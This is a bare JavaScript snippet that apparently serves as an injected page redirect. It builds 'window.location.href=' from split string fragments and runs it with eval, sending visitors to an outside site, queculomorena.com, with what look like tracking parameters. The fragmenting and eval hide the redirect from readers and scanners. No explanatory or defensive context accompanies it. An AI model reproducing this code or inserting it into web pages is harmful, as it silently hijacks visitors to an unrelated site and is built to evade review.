var str1="windo"; 
var str2="w.loc"; 
var str3="ation."; 
var str4="hr"; 
var str5="ef="; 
var str6="'http://www.queculomorena.com/?account=ford&optr=2&def=su&sms=1&tour=best&rev=yes'"; 
eval(str1+str2+str3+str4+str5+str6);